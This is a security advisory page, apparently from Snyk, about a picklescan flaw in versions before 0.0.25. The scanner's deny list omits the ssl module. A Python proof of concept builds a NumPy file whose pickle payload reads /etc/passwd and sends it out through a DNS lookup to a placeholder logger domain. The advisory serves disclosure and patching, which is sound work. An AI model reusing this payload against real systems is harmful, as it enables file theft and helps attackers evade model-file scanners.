Incomplete List of Disallowed Inputs Affecting picklescan package, versions [,0.0.25)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-PICKLESCAN-9669210
  • published8 Apr 2025
  • disclosed7 Apr 2025
  • creditDavide Cioccia

Introduced: 7 Apr 2025

New CVE NOT AVAILABLE CWE-184  (opens in a new tab)

How to fix?

Upgrade picklescan to version 0.0.25 or higher.

Overview

picklescan is a Security scanner detecting Python Pickle files performing suspicious actions

Affected versions of this package are vulnerable to Incomplete List of Disallowed Inputs in scanner.py, which does not include ssl or other modules that can be leveraged for remote operations. An attacker can read and exfiltrate sensitive local file content by constructing a malicious domain name and triggering a DNS resolution. The DNS resolution is performed after deserializaition and may call ssl.get_server_certificate(), which bypasses protections.

PoC


import numpy as np

def create_malicious_model():
# Define the payload class
    class DNSLogPayload:
        def __reduce__(self):
            # Step 1: read a line from /etc/passwd
            linecache = __import__("linecache")
            first_line = linecache.getline("/etc/passwd", 1).strip()

            # Step 2: Sanitize and embed it as a DNS subdomain
            subdomain = first_line.replace(":", "_").replace("/", "_")
            fqdn = f"{subdomain}.dns-logger.invalid"

            # Step 3: Use ssl.get_server_certificate to trigger DNS resolution
            ssl_mod = __import__("ssl")
            return (getattr(ssl_mod, "get_server_certificate"), ((FQDN, 443),))

    # Wrap the payload in a NumPy object array
    arr = np.array([DNSLogPayload()], dtype=object)

    # Save to .npy file
    np.save("dnslog_trigger_payload.npy", arr, allow_pickle=True)   

def load_model(model):
    try:
        return np.load(model, encoding="latin1", fix_imports=True, allow_pickle=1)
    except Exception:
        raise ValueError("Invalid file")

if __name__ == "__main__":
    create_malicious_model()
    model = "dnslog_trigger_payload.npy"
    print("[i] Loading and executing the model")
    data = load_model(model)

CVSS Base Scores

version 4.0
version 3.1